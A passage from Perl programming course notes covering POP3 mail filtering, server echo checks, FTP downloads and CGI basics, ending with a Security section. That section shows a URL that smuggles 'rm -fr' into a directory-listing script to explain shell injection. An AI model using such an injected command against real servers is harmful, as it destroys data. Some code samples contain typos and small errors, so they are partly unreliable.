- This line is also commented out; it will delete the current mail message from the server. ***Use with caution!*** Once deleleted, you can't recover the messages.
- Set the flag variable, *$one_word*, to true.
- Write a detail line to the report if the flag variable is true.

The code for `pop.pl` is as follows:

```
#!/usr/bin/perl -w


use Mail::POP3Client;
use strict;


my($i, $from, $subject);




format main::STDOUT_TOP =
    @|||||||||||||||||||||||||||||||||||||||||||||||||||  Pg @<
    "Waiting Mail Regarding One-Word",                     $%


    Sender                   Subject
    -----------------------  ---------------------------------
.


format main::STDOUT =
    @<<<<<<<<<<<<<<<<<<<<<<  @<<<<<<<<<<<<<<<<<<
```

```
    foreach ($pop->Head($i)) {
        $from = $1 if /From:\s(.+)/;


$subject = $1 if /Subject:\s(.+)/;


        if (/Subject: .*One-Word/) {
#           @body = $pop->Body($i);
#           $pop->Delete($i);
            $one_word = 1;
        }
    }


    if ($one_word) {
        write();
    }
}
```

This program displays:

```
Waiting Mail Regarding One-Word           Pg 1


    Sender                   Subject
    ----------------------   ----------------------------------
    Massimo                  [One-Word] One Word Tribute CD
    Marco                    [One-Word] Gigs in London
    Andres                   [One-Word] Pages of Fires
```

When you run this script, you should change `$username`, `$password`, and `$mailServer` and the filter test to whatever is appropriate for your system.

You could combine the filter program with the send mail program (from `sendmail.pl`) to create an automatic mail-response program. For example, if the subject of a message is "Info," you can automaticallly send a pmilesefined message with information about a given topic. You could also create a program to automatically forward the messages to a covering person while you are on vacation. I'm sure that with a little thought you can come up with a half-dozen ways to make your life easier by automatically handling some of your incoming mail.

- Checking for Upness (Echo)

---

dave@cs.cf.ac.uk

Checking for Upness (Echo)

Occasionally it's good to know if a server is up and functioning. The echo service is used to make that determination. The code in `serverup.pl` shows how one checks the upness of two servers.

Caution Windows 95 (and perhaps other operating systems) can't use the SIGALRM interrupt signal. This might cause problems if you use this script on those systems because the program will wait forever when a server does not respond.

`serverup.pl` operates as follows:

- Turn on the warning compiler option.
- Load the *`Socket`* module.
- Turn on the strict pragma.
- Display a message if the *`miles.cs.cf.ac.uk`* server is reachable.
- Display a message if the *`sentinel.cs.cf.ac.uk`* server is reachable.
- Declare the *`echo()`* function.
- Get the host and timeout parameters from the paramter array. If no timeout parameter is specified, 5 seconds wil be used.
- Declare some local variables.
- Get the tcp protocol and echo port numbers.
- Get the server's Internet address.
- If *`$serverAddr`* is undefined then the name of the server was probably incorrect and an error message is displayed.
- Check to see if the script is running under Windows 95.
- If not under Windows 95, store the old alarm handler function, set the alarm handler to be an anonymous function that simply ends the script, and set an alarm to go off in *`$timeout`* seconds.
- Initialize the status variable to true.
- Create a socket called *`ECHO`*.
- Initialize *`$packedFormat`* with format specifiers.
- Connect the socket to the remote server.
- Close the socket.
- Check to see if the script is running under Windows 95.
- If not under Windows 95, reset the alarm and restore the old alarm handler function.
- Return the status.

The Perl code for `serverup.pl` is:

```
#!/usr/bin/perl -w
```

```
use Socket;
use strict;


print "miles.planet.net is up.\n" if echo('miles.planet.net');
print "sentinel.planet.net is up.\n" if echo('sentinel.planet.net');


sub echo {
    my($host)    = shift;
    my($timeout) = shift || 5;


    my($oldAlarmHandler, $status);


    my($proto)      = getprotobyname("tcp")        || 6;
    my($port)       = getservbyname("echo", "tcp") || 7;
    my($serverAddr) = (gethostbyname($host))[4];


    return(print("echo: $host could not be found, sorry.\n"), 0)
        if ! defined($serverAddr);


    if (0 == Win32::IsWin95) {
        $oldAlarmHandler = $SIG{'ALRM'};
        $SIG{'ALRM'} = sub { die(); };
        alarm($timeout);
    }


    $status = 1;    # assume the connection will work.


    socket(ECHO, AF_INET(), SOCK_STREAM(), $proto)
        or die("socket: $!");
    $packFormat = 'S n a4 x8';   # Windows 95, SunOs 4.1+
    #$packFormat = 'S n c4 x8';   # SunOs 5.4+ (Solaris 2)


    connect(ECHO, pack($packFormat, AF_INET(), $port, $serverAddr))
        or $status = 0;


    close(ECHO);
```

```
    if (0 == Win32::IsWin95) {
        alarm(0);
        $SIG{'ALRM'} = $oldAlarmHandler;
    }


    return($status);
}
```

This program will display:

```
echo: miles.cs.cf.ac.uk could not be found, sorry.
sentinel.cs.cf.ac.uk is up.
```

When dealing with the echo service, you only need to make the connection in order to determine that the server is up and running. As soon as the connection is made, you can close the socket.

Most of the program should be pretty familiar to you by now. However, you might not immediately realize what return statement in the middle of the `echo()` function does. The return statement is repeated here:

```
return(print("echo: $host could not be found, sorry.\n"), 0)
        if ! defined($serverAddr);
```

The statement uses the comma operator to execute two statements where normally you would see one. The last statement to be evaluated is the value for the series of statements. In this case, a zero value is returned.

The return statement could also be done written like this:

```
if (! defined($serverAddr) {
    print("echo: $host could not be found, sorry.\n")
    return(0);
}
```

---

dave@cs.cf.ac.uk

Transferring Files (FTP)

One of the backbones of the Internet is the ability to transfer files. There are thousands of fcservers from which you can download files. For the latest graphic board drivers to the best in shareware to the entire set of UNIX sources, ftp is the answer.

The program in `ftp.pl` downloads the Perl FAQ in compressed format from ftp.cis.ufl.edu and displays a directory in two formats.

It operates as follows:

- Turn on the warning compiler option. Load the *`ftplib`* library.
- Turn on the strict pragma.
- Declare a variable to hold directory listings.
- Turn debugging mode on. This will display all of the protocol commands and responses on *`STDERR`*.
- Connect to the ftp server providing a *`userid`* of anonymous and your email address as the password.
- Use the *`list()`* function to get a directory listing without first changing to the directory.
- Change to the *`/pub/perl/faq`* directory.
- Start binary mode. This is very important when getting compressed files or executables.
- Get the Perl FAQ file.
- Use *`list()`* to find out which files are in the current directory and then print the list.
- Use *`dir()`* to find out which files are in the current directory andthen print the list.
- Turn debugging off.
- Change to the *`/pub/perl/faq`* directory.
- Use *`list()`* to find out which files are in the current directory and then print the list.

The Perl code for `ftp.pl` is as follows:

```
#!/usr/bin/perl -w


require('ftplib.pl');
use strict;


my(@dirList);


ftp::debug('ON');
ftp::open('ftp.cis.ufl.edu', 'anonymous', 'medined@planet.net') or die($!);


@dirList = ftp::list('pub/perl/faq');


ftp::cwd('/pub/perl/faq');
```

```
ftp::binary();
ftp::gets('FAQ.gz');


@dirList = ftp::list();
print("list of /pub/perl/faq\n");
foreach (@dirList) {
print("\t$_\n");


}
@dirList = ftp::dir();
print("list of /pub/perl/faq\n");
foreach (@dirList) {
print("\t$_\n");
}
ftp::debug();
ftp::cwd('/pub/perl/faq');
@dirList = ftp::list();
print("list of /pub/perl/faq\n");
foreach (@dirList) {
print("\t$_\n");
}
```

This program displays:

```
<< 220 flood FTP server (Version wu-2.4(21) Tue Apr 9 17:01:12 EDT 1996)
ready.
>> user anonymous
<< 331 Guest login ok, send your complete e-mail address as password.
>> pass .....
<< 230-                     Welcome to the
<< 230-                  University of Florida
.



.



.
<< 230 Guest login ok, access restrictions apply.
>> port 207,3,100,103,4,135
<< 200 PORT command successful.
>> nlst pub/perl/faq
<< 150 Opening ASCII mode data connection for file list.
<< 226 Transfer complete.
>> cwd /pub/perl/faq
<< 250 CWD command successful.
>> type i
<< 200 Type set to I.
>> port 207,3,100,103,4,136
<< 200 PORT command successful.
>> retr FAQ.gz
<< 150 Opening BINARY mode data connection for FAQ.gz (75167 bytes).
```

```
<< 226 Transfer complete.
>> port 207,3,100,103,4,138
<< 200 PORT command successful.
>> nlst
<< 150 Opening BINARY mode data connection for file list.
<< 226 Transfer complete.
list of /pub/perl/faq
 FAQ
 FAQ.gz
>> port 207,3,100,103,4,
139
<< 200 PORT command successful.
>> list
<< 150 Opening BINARY mode data connection for /bin/ls.
<< 226 Transfer complete.
list of /pub/perl/faq
 total 568
 drwxrwxr-x   2 1208     31           512 Nov  7  1995 .
 drwxrwxr-x  10 1208     68           512 Jun 18 21:32 ..
 -rw-rw-r--   1 1208     31        197446 Nov  4  1995 FAQ
 -rw-r--r--   1 1208     31         75167 Nov  7  1995 FAQ.gz
list of /pub/perl/faq
 FAQ
 FAQ.gz
```

Make sure that you can pick out the different `ftp` commands and responses in this output. Notice that the ftp commands and responses are only displayed when the debugging feature is turned on.

- The World Wide Web (HTTP)

---

dave@cs.cf.ac.uk

The World Wide Web (HTTP)

Unfortunately, the HTTP protocol is a bit too extensive to cover here. However, if you've read and understood the examples in this chapter then, you'll have little problem downloading some modules from the CPAN archives and quickly writing your own Web crawling programs. You can find out more about CPAN in Appendix A on Internet Resources

We will look at some Web CGI aspects and some Web Server applications in the following chapters.

---

dave@cs.cf.ac.uk

CGI Programming in Perl

CGI, or *Common Gateway Interface*, is the standard programming interface between Web servers and external programs. It is one of the most exciting and fun areas of programming today. The CGI standard lets Web browsers pass information to programs written in any language. If you want to create a lightning-fast search engine, then your CGI program will most likely be written in C or C++. However, most other applications can use Perl.

The CGI standard does not exist in isolation; it is dependent on the HTML and HTTP standards. HTML is the standard that lets Web browsers understand document content. HTTP is the communications protocol that, among other things, lets Web servers talk with Web browsers.

Note If you are unfamiliar with HTML, you might want to skip to the HTML introduction in Appendix B before continuing. Otherwise, take the HTML references in this chapter at face value.

Almost anyone can throw together some HTML and hang a "home page" out on the Web. But most sites out there are, quite frankly, boring. Why? The fact is that most sites are built as a simple series of HTML documents that never change. The site is completely static. No one is likely to visit a static page more than once or twice. Think about the sites you visit most often. They probably have some interesting content, certainly, but more importantly, they have dynamic content.

So what's a Webmaster to do? No Webmaster has the time to update his or her Web site by hand every day. Fortunately, the people who developed the Web protocol thought of this problem and gave us CGI. CGI gives you a way to make Web sites dynamic and interactive.

Each word in the acronym Common Gateway Interface helps you to understand the interface:

- **Common**-interacts with many different operating systems.
- **Gateway**-provides users with a way to gain access to different programs, such as databases or picture generators.
- **Interface**-uses a well-defined method to interact with a Web server.

CGI applications can perform nearly any task that your imagination can think up. For example, you can create Web pages on-the-fly, access databases, hold telnet sessions, generate graphics, and compile statistics.

The basic concept behind CGI is pretty simple; however, actually creating CGI applications is not. That requires real programming skills. You need to be able to debug programs and make logical connections between one idea and another. You also need to have the ability to visualize the application that you'd like to create. This chapter and the next, "Form Processing," will get you started with CGI programming. If you plan to create large applications, you might want to look at Que's *Special Edition Using CGI*.

- CGI Scripting
  - What is a CGI Script?
  - Writing and Running CGI Scripts
  - Why Use Perl for CGI?
  - CGI Apps versus Java Applets
  - Should You Use CGI Modules?
- How Does CGI Work?
- Calling Your CGI Program
- Beginning CGI Programming in Perl
  - CGI Script Output
  - A First Perl CGI Script
  - Exectiion of CGI Programs
  - Why Are File Permissions Important in UNIX?
- HTTP Headers
  - CGI and Environment Variables
- URL Encoding
- Security
  - CGIwrap and Security

---

dave@cs.cf.ac.uk

CGI Scripting

- What is a CGI Script?
- Writing and Running CGI Scripts
- Why Use Perl for CGI?
- CGI Apps versus Java Applets
- Should You Use CGI Modules?

---

dave@cs.cf.ac.uk

What is a CGI Script?

A *CGI script* is any program that runs on a web server.

Figure: The Common Gateway Interface

Why CGI Scripts

CGI stands for **C**ommon **G**ateway **Interface**

CGI defines a standard way in which information may be passed to and from the browser and server.

Any program or script that can process information according to the CGI specification can, in theory, be used to code a CGI script.

---

dave@cs.cf.ac.uk

Writing and Running CGI Scripts

CGI scripts can exist in many forms -- depending upon what the server supports.

CGI scripts can be compiled programs or batch files or any executable entity. For simplicity we will use the term *script* for all CGI entities.

Typically CGI scripts are written in:

- Perl scripts
- C/C++ programs
- Unix Scripts

We will concentrate on Perl in this course (see below for why this is a good idea).

CGI scripts therefore have to be written (and maybe compiled) and **checked for errors** before they are run on the server.

CGI can be called and run in a variety of ways on the server.

The 2 most common ways of running a CGI script are:

- From an HTML Form -- the `ACTION` attribute of the form specifies the CGI script to be run.
- Direct URL reference -- A CGI script can be run directly by giving the URL explicitly in HTML.
    - Arguments (values) may be required by the script this will have to passed in.
    - We will see how to do this shortly.

One other way CGI scripts are called is in *Server-side include* HTML commands. This is something we will leave until later.

Why Use Perl for CGI?

Perl is the de facto standard for CGI programming for a number of reasons, but perhaps the most important are:

- **Socket Support**-create programs that interface seamlessly with Internet protocols. Your CGI program can send a Web page in response to a transaction and send a series of e-mail messages to inform interested people that the transaction happened.
- **Pattern Matching**-ideal for handling form data and searching text.
- **Flexible Text Handling**-no details to worry. The way that Perl handles strings, in terms of memory allocation and deallocation, fades into the background as you program. You simply can ignore the details of concatenating, copying, and creating new strings.

The advantage of an interpreted language in CGI applications is its simplicity in development, debugging, and revision. By removing the compilation step, you and I can move more quickly from task to task, without the frustration that can sometimes arise from debugging compiled programs. Of course, not any interpreted language will do. Perl has the distinct advantage of having an extremely rich and capable functionality.

There are some times when a mature CGI application should be ported to C or another compiled language. These are the Web applications where speed is important. If you expect to have a very active site, you probably want to move to a compiled language because they run faster.

---

dave@cs.cf.ac.uk

CGI Apps versus Java Applets

CGI and Java are two totally different animals. CGI is a specification that can be used by any programming language. CGI applications are run on a Web server. Java is a programming language that is run on the client side.

CGI applications should be designed to take advantage of the centralized nature of a Web server. They are great for searching databases, processing HTML form data, and other applications that require limited interaction with a user.

Java applications are good when you need a high degree of interaction with users: for example, games or animation.

Java programs need to be kept relatively small because they are transmitted through the Internet to the client. CGI applications, on the other hand, can be as large as needed because they reside and are executed on the Web server.

You can design your Web site to use both Java and CGI applications. For example, you might want to use Java on the client side to do field validation when collecting information on a form. Then once the input has been validated, the Java application can send the information to a CGI application on the Web server where the database resides.

---

 dave@cs.cf.ac.uk

Should You Use CGI Modules?

You are strongly advised to use the CGI modules that are available on the Internet. The most up-to-date module that I know about is called `cgi.pm`-but you must be using Perl v5.002 or an even newer version in order to use it. `cgi.pm` is very comprehensive and covers many different protocols in addition to the basic CGI standard.

You might find that `cgi.pm` is overkill for simple CGI applications. If so, look at `cgi-lite.pl` or *cgi-lib.pl*. This library doesn't do as much as `cgi.pm` but you'll probably find that it is easier to use.

More information on `cgi.pm` and `cgi-lib.pl` are given in the next chapter. You can find both of these scripts at one of the CPAN Web sites that are mentioned in Appendix A.

---

dave@cs.cf.ac.uk

How Does CGI Work?

CGI programs are always placed on a disk that the Web server has access to. This means that if you are using a dial-up account to maintain your Web site, you need to upload your CGI programs to the server before they can be run.

Note You can test your scripts locally as long as you can use Perl on your local machine. See the "Debugging" section later in this chapter.

Web servers are generally configured so that all CGI applications are placed into a `cgi-bin` directory. However, the Web server may have aliases so that "virtual directories" exist. Each user might have his or her own `cgi-bin` directory. The directory location is totally under the control of your Web site administrator.

Tip Finding out which directory your scripts need to be placed in is the first step in creating CGI programs. Because you need to get this information from your Web site administrator, send an e-mail message right now requesting this information. Also ask if there are any CGI restrictions or guidelines that you need to follow.

---

dave@cs.cf.ac.uk

Calling Your CGI Program

The easiest way to run a CGI program is to type in the URL of the program into your Web browser. The Web server should recognize that you are requesting a CGI program and execute it. For example, if you already had a CGI program called `test.pl` running on a local Web server, you could start it by entering the following URL into your Web browser:

```
http://localhost/cgi-bin/test.pl
```

The Web server will execute your CGI script and any output is displayed by your Web browser.

The URL for your CGI program is a *virtual* path. The actual location of the script on the Web server depends on the configuration of the server software and the type of computer being used. For example, if your computer is running the Linux operating system and the NCSA Web server in a "standard" configuration, then the above virtual would translate into

`/usr/local/etc/httpd/cgi-bin/test.pl`.

If you were running the Website server under Windows 95, the translated path might be

`/website/cgi-shl/test.pl`.

If you have installed and are administering the Web server yourself, you probably know where to place your scripts. If you are using a service provider's Web server, ask the server's administrator where to put your scripts and how to reference them from your documents.

There are other ways to invoke CGI programs besides using a Web browser to visit the URL. You can also start CGI programs from:

- a hypertext link. For example:

<A HREF=EF="cgi-bin/test.pl"> Click here to run a CGI program</A>

- a button on an HTML form. You can read more about HTML forms in the next chapter.
- a server-side include. You can read more about server-side includes in next chapter.

Interestingly enough, you can pass information to your CGI program by adding extra information to the standard URL. If your CGI program is used for searching your site, for example, you can pass some information to specify which directory to search. The following HTML hyperlink will invoke a search script and tell it to search the `/root/document` directory.

<A HREF=EF="cgi-bin/search.pl/root/document"> Search the Document Directory <A>

This *extra* path information can be accessed through the `PATH_INFO` environment variable.

You can also use a question mark to pass information to a CGI program. Typically, a question mark indicates that you are passing keywords that will be used in a search. <A

HREF=EF="cgi-bin/search.pl?Wine+1993">Search for 1993 Wines</A>

The information that follows the question mark will be available to your CGI program through the `QUERY_STRING` environment variables.

Using either of these approaches will let you create *canned* CGI requests. By creating these requests ahead of time, you can reduce the amount of typing errors that your users might otherwise have. Later in this chapter, the "CGI and Environment Variables" section discusses all of the environment variables you can use inside CGI programs.

Note Generally speaking, visitors to your Web site should never have to type in the URL for a CGI program. A hypertext link should always be provided to start the program.

---

 dave@cs.cf.ac.uk

Beginning CGI Programming in Perl

In this section we will lay the foundation for CGI script development.

We will introduce general CGI programming concepts relating to CGI output but then focus on Perl programming.

- CGI Script Output
- A First Perl CGI Script
- Exectiion of CGI Programs
- Why Are File Permissions Important in UNIX?

---

dave@cs.cf.ac.uk

CGI Script Output

We have already mentioned that CGI scripts must adhere to standard input and output mechanism (the **Interface** between browser and server).

For the moment we will not worry about input to a CGI script.

However a CGI script is programmed it **MUST** send information back in the following format:

- The Output Header
- A Blank Line
- The Output Data

CGI Output Header

A browser can accept input in a variety of forms.

Depending on the specified form it will call different mechanisms to display the data.

The output header of a CGI script must specify an output type to tell the server and eventually browser how to proceed with the rest of the CGI output.

There are 3 forms of Header Type:

- `Content-Type`
- `Location`
- `Status`

`Content-Type` is the most popular type. We now consider this further. We will meet the other types later.

NOTE: Between the Header and Data there **MUST** be a blank line.

Content-Types

The following are common formats/content-types (there are others - see later):

Format	Content-Type
HTML	`text/html`
Text	`text/plain`
Gif	`image/gif`
JPEG	`image/jpeg`

Postscript	`application/`
	`postscript`
MPEG	video/mpeg

To declare the `Content-Type` your CGI script must output:

`Content-Type:` *content-type specification*

Typically the `Content-Type` will be declared to produce HTML.

So the first line of our CGI script will look this:

`Content-Type: text/html`

CGI Output Data

Depending on the `Content-Type` defined the data that follows the header declaration will vary.

If it HTML that follows then the CGI script must output standard HTML syntax.

Thus to produce a Web page that looks sends a simple line of text "Hello World!" to a browser a CGI script must output:

```
Content-Type: text/html


<html>
<head>
<title>Hello, world!</title>
</head>
<body>
<h1>Hello, world!</h1>
</body>
</html>
```

Now let us see how we write and display in a Browser this CGI script in Perl

---

 dave@cs.cf.ac.uk

A First Perl CGI Script

Let us now look at how we write our first perl program that will be used as a CGI script.

We will learn three main things in here:

- The format of Perl CGI program
- Now to output in HTML data format

Format of a Perl program

Every Perl program **MUST** obey the following format:

- A first line consisting of:

  ```
  #!/usr/local/bin/perl
  ```
- The rest of the program consisting of legal Perl syntax and commands
- For CGI the Perl output must be in HTML -- this is where Perl is really handy.

Strictly speaking the first line is only required for running Perl programs on UNIX machines. Since that is the intended destination of most of our Perl scripts. It is a good idea to **make this** the first line of every perl program.

Output from Perl

To output from a Perl script you use the `print` statement:

- The first line of our CGI script must be `` `Content-Type: text/html'' and the `print` statement must have 2 `\n` characters:
  - One to terminate the current line, and
  - The second to produce the require blank line between CGI header and data.

```
print "Content-Type: text/html\n\n";
```

Finally -- Our complete script

Recall that our Perl CGI script must output the header and HTML code and must begin with a special first line.

Our complete first (`hello.pl`) program (with nice comments) is a follows:

```
#!/usr/local/bin/perl
# hello.pl - My first CGI program

print "Content-Type: text/html\n\n";
# Note there is a newline between
# this header and Data
```

```
# Simple HTML code follows

print "<html> <head>\n";
print "<title>Hello, world!</title>";
print "</head>\n";
print "<body>\n";
print "<h1>Hello, world!</h1>\n";
print "</body> </html>\n";
```

---

dave@cs.cf.ac.uk

Exectiion of CGI Programs

The Perl file that contains the CGI program should be placed in your Web server's `cgi-bin` directory.

Then, the URL for this program will be something like `http://localhost/cgi-bin/test.pl` (change localhost to correspond to your Web server's hostname).

Enter this URL into your Web browser and it should display a Web page saying "This is a test."

Note You may wonder how the Web server knows that a CGI program should be executed instead of being displayed. This is an excellent question. It can be best answered by referring to the documentation that came with your particular server.

When the Web server executes your CGI program, it automatically opens the `STDIN`, `STDOUT`, and `STDERR` file handles for you.

- **`STDIN`**-The standard input of your CGI program might contain information that was generated by an HTML form. Otherwise, you shouldn't use STDIN. See "Inputs to Your CGI Program" later in this chapter for more information.
- **`STDOUT`**-The standard output of your CGI program is linked to the `STDIN` of the Web browser. This means that when you print information using the `print()` function, you are essentially writing directly to the Web browser's window. This link will be discussed further in the "HTTP Headers" section later in this chapter.
- **`STDERR`**-The standard output of your CGI program is linked to the Web server's log file. This is very useful when you are debugging your program. Any output from the `die()` or `warn()` function will be placed into the server's log file. The STDERR file handle is discussed further in the "Debugging CGI Programs" section later in this chapter.

The Web server will also make some information available to your CGI program through environment variables.

---

dave@cs.cf.ac.uk

Why Are File Permissions Important in UNIX?

File permission controls can access files in UNIX systems. Quite often, I hear of beginning CGI programmers who try to write files into a directory in which they do not have write permission. UNIX permissions are also called *rights*.

UNIX can control file access in a number of ways. There are three levels of permissions for three classes of users. To view the permissions on a file use the `ls`command with the `-l` command-line option. For example:

```
miles:~/public_html/test>ls -l
total 40
-rw-r--r--   1 dave  staff        139 Jun 18 14:14 index.html
-rwxr-xr-x   1 dave  staff       9145 Aug 14 07:06 test.pl
drwxr-xr--   2 dave  staff        512 Aug 15 07:11 tmp
```

Each line of this listing indicates a separate directory entry. The first character of the first column is normally either a dash or the letter `d`. If a directory entry has a `d`, it means that the entry is a subdirectory of the current directory.

The other nine characters are the file permissions. Permissions should be thought of in groups of three, for the three classes of user. The three classes of user are:

- **user**-the owner of the file or directory. The owner's name is displayed in the third column of the `ls` command's output.
- **group**-the group that owns the file. Files can have both individual owners and a group. Several users can belong to a single group.
- **others**-any user that is not the owner or in the group that owns the file.

Each of the classes can have one or more of the following three levels of permission:

- **r**-the class can read the file or directory.
- **w**-the class can write to the file or directory.
- **x**-the class can execute the file or list the directory.

If a permission is not allowed to the user that ran the `ls` command, its position is filled with a dash. For example:

```
ls -l dir
-rwx------   1 dave  staff      11816 May  9 09:19 test.pl
```

The owner, `dave`, has full rights - read, write, and execute for this file. The group, staff, and everyone else have no rights.

Tip Perl scripts are not compiled; they must be read by the Perl interpreter each time they are run. Therefore, Perl scripts, unlike compiled programs, must have execute and read permissions.

Here is another example:

```
 ls -l pfind.pl
-rwxr-x--   1 dave  staff       2863 Oct 10 1995  pfind.pl
```

This time, the owner has full access while the group staff can read and execute the file. All others have no rights to this file.

Most HTML files will have permissions that look like this:

```
ls -l search.html
-rw-r--r--   1 dave  staff       2439 Feb  8 1996  search.html
```

Everyone can read it, but only the user can modify or delete it. There is no need to have execute permission since HTML is not an executable language.

You can change the permissions on a file by using the `chmod` command. The `chmod` command recognizes the three classes of user as `u`, `g`, and `o` and the three levels of permissions as `r`, `w`, and `x`. It grants and revokes permissions with a `+` or `-` in conjunction with each permission that you want to change. It also will accept an `a` for all three classes of users at once.

The syntax of the `chmod` command is:

```
chmod <options> <file>
```

Here are some examples of the `chmod` command in action

```
ls -l pfind.pl
-rw------   1 dave  staff       2863 Oct 10 1995  pfind.pl

chmod u+x pfind.pl
ls -l pfind.pl
-rwx------   1 dave  staff       2863 Oct 10 1995  pfind.pl
```

The first `ls` command shows you the original file permissions. Then, the `chmod` command add execute permission for the owner (or user) of `pfind.pl`. The second `ls` command displays the newly changed permissions.

To add these permissions for both the group and other classes, use `go+rx` as in the following example. Remember, users must have at least read and execute permissions to run Perl scripts.

```
ls -l pfind.pl
-rwx------   1 dave  staff       2863 Oct 10 1995  pfind.pl

chmod go+rx pfind.pl
ls -l pfind.pl
-rwxr-xr-x   1 dave  staff       2863 Oct 10 1995  pfind.pl
```

Now, any user can read and execute `pfind.pl`. Let's say a serious bug was found in pfind.pl and we don't want it to be executed by anyone. To revoke execute permission for all classes of users, use the `a-x` option with the `chmod` command.

```
ls -l pfind.pl
-rwxr-xr-x   1 dave  staff       2863 Oct 10 1995  pfind.pl

chmod a-x pfind.pl
ls -l pfind.pl
-rw-r--r--   1 dave  staff       2863 Oct 10 1995  pfind.pl
```

Now, all users can read `pfind.pl`, but no one can execute it.

---

dave@cs.cf.ac.uk

HTTP Headers

The first line of output for most CGI programs must be an HTTP header that tells the client Web browser what type of output it is sending back via `STDOUT`. Only scripts that are called from a server-side include are exempt from this requirement.

Format	Content-Type
HTML	`text/html`
Text	`text/plain`
Gif	`image/gif`
JPEG	`image/jpeg`
Postscript	`application/`
	`postscript`
MPEG	video/mpeg
Redirection to another Web page	Location: http://www.foobar.com
Cookie	Set-cookie: ...Error MessageStatus: 402
Error Message	Status: 402

All HTTP headers must be followed by a blank line. Use the following line of code as a template:

```
print("Content Type: text/html\n\n");
```

Notice that the HTTP header is followed by *two* newline characters. This is very important. It ensures that a blank line will always follow the HTTP header.

If you have installed any helper applications for Netscape or are familiar with MIME types, you already recognize the `text/plain` and `text/html` parts of the `Content Type` header. They tell the remote Web browser what type of information you are sending. The two most common MIME types to use are `text/plain` and `text/html`.

The `Location` header is used to redirect the client Web browser to another Web page. For example, let's say that your CGI script is designed to randomly choose from among 10 different URLs in order to determine the next Web page to display. Once the new Web page is chosen, your program outputs it like this:

```
print("Location: $nextPage\n\n");
```

Once the `Location` header has been printed, nothing else should be printed. That is all the information that the client Web browser needs.

Cookies and the `Set-cookie:` header are discussed in the "Cookies" section later in this chapter.

The last type of HTTP header is the `Status` header. This header should be sent when an error arises in your script that

your program is not equipped to handle. I feel that this HTTP header should not be used unless you are under severe time pressure to complete a project. You should try to create your own error handling routines that display a full Web page that explains the error that happened and what the user can do to fix or circumvent it. You might include the time, date, type of error, contact names and phone numbers, and any other information that might be useful to the user. Relying on the standard error messages of the Web server and browser will make your Web site less user friendly.

- CGI and Environment Variables

---

dave@cs.cf.ac.uk

CGI and Environment Variables

You are already familiar with environment variables from Chapter 12. When your CGI program is started, the Web server creates and initializes a number of environment variables that your program can access using the `%ENV` hash.

Below we give a short description of each environment variable. A complete description of the environmental variables used in CGI programs can be found at *http://www.ast.cam.ac.uk/drtr/cgi-spec.html*

AUTH_TYPE

-- Optionally provides the authentication protocol used to access your script if the local Web server supports authentication and if authentication was used to access your script.

CONTENT_LENGTH

-- Optionally provides the length, in bytes, of the content provided to the script through the `STDIN` file handle. Used particularly in the `POST` method of form processing. See next Chapter for more information.

CONTENT_TYPE

-- Optionally provides the type of content available from the `STDIN` file handle. This is used for the `POST` method of form processing. Most of the time, this variable will be blank and you can assume a value of `application/octet-stream`.

GATEWAY_INTERFACE

-- Provides the version of CGI supported by the local Web server. Most of the time, this will be equal to `CGI/1.1`.

HTTP_ACCEPT

-- Provides a comma-separated list of MIME types the browser software will accept. You might check this environmental variable to see if the client will accept a certain kind of graphic file.

HTTP_FORM

-- Provides the user's e-mail address. Not all Web browsers will supply this information to your server. Therefore, use this field only to provide a default value for an HTML form.

HTTP_USER_AGENT

-- Provides the type and version of the user's Web browser. For example, the Netscape Web browser is called Mozilla.

PATH_INFO

-- Optionally contains any extra path information from the HTTP request that invoked the script.

PATH_TRANSLATED

-- Maps the script's virtual path (i.e., from the root of the server directory) to the physical path used to call the script.

QUERY_STRING

-- Optionally contains form information when the GET method of form processing is used. QUERY_STRING is also used for passing information such as search keywords to CGI scripts.

REMOTE_ADDR

-- Contains the dotted decimal address of the user.

REMOTE_HOST

-- Optionally provides the domain name for the site that the user has connected from.

REMOTE_IDENT

-- Optionally provides client identification when your local server has contacted an IDENTD server on a client machine. You will very rarely see this because the IDENTD query is slow.

REMOTE_USER

-- Optionally provides the name used by the user to access your secured script.

REQUEST_METHOD

-- Usually contains either "GET" or "POST"-the method by which form information will be made available to your script. See next Chapter for more information.

SCRIPT_NAME

-- Contains the virtual path to the script.

SERVER_NAME

-- Contains the configured hostname for the server.

SERVER_PORT

-- Contains the port number that the local Web server software is listening on. The standard port number is 80.

SERVER_PROTOCOL

-- Contains the version of the Web protocol this server uses. For example, `HTTP/1.0`.

SERVER_SOFTWARE

-- Contains the name and version of the Web server software. For example, `WebSite/1.1e`.

URL Encoding

One of the limitations that the WWW organizations have placed on the HTTP protocol is that the content of the commands, responses, and data that are passed between client and server should be clearly defined. It is sometimes difficult to tell simply from the context whether a space character is a field delimiter or an actual space character to add whitespace between two words.

To clear up the ambiguity, the URL encoding scheme was created. Any spaces are converted into plus (+) signs to avoid semantic ambiguities. In addition, special characters or 8-bit values are converted into their hexadecimal equivalents and prefaced with a percent sign (%). For example, the string

`Dave Marshall <dave@cs.cf.ac.uk>`

is encoded as

`Dave+Marhsall+%3Cdave@cs.cf.ac.uk%3E`.

If you look closely, you see that the < character has been converted to `%3C` and the > character has been coverted to `%3E`.

Your CGI script will need to be able to convert URL encoded information back into its normal form. Fortunately,

The `cgidecode.pl` contains a function that will convert URL encoded.

It:

- Defines the *`decodeURL()`* function.
- Gets the encoded string from the parameter array.
- Translates all plus signs into spaces.
- Converts character coded as hexadecimal digits into regular characters.
- Returns the decoded string.

The Perl for `cgidecode.pl` is:

```
sub decodeURL {
  $_ = shift;
  tr/+/ /;
  s/%(..)/pack('c', hex($1))/eg;
  return($_);
}
```

This function will be used in later to decode form information. It is presented here because canned queries also use URL encoding.

---

dave@cs.cf.ac.uk

Security

CGI really has only one large security hole that I can see. If you pass information that came from a remote site to an operating system command, you are asking for trouble. I think an example is needed to understand the problem because it is not obvious.

Suppose that you had a CGI script that formatted a directory listing and generated a Web page that let visitors view the listing. In addition, let's say that the name of the directory to display was passed to your program using the `PATH_INFO` environment variable. The following URL could be used to call your program:

```
http://www.foo.com/cgi-bin/dirlist.pl/docs
```

Inside your program, the `PATH_INFO` environment variable is set to `docs`. In order to get the directory listing, all that is needed is a call to the `ls` command in UNIX or the `dir` command in DOS. Everything looks good, right?

But what if the program was invoked with this command line?

```
http://www.foo.com/cgi-bin/dirlist.pl/; rm -fr;
```

Now, all of a sudden, you are faced with the possibility of files being deleted because the semi-colon (;) lets multiple commands be executed on one command line.

This same type of security hole is possible any time you try to run an external command. You might be tempted to use the `mail`, `sendmail`, or `grep` commands to save time while writing your CGI program, but because all of these programs are easily duplicated using Perl, try to resist the temptation.

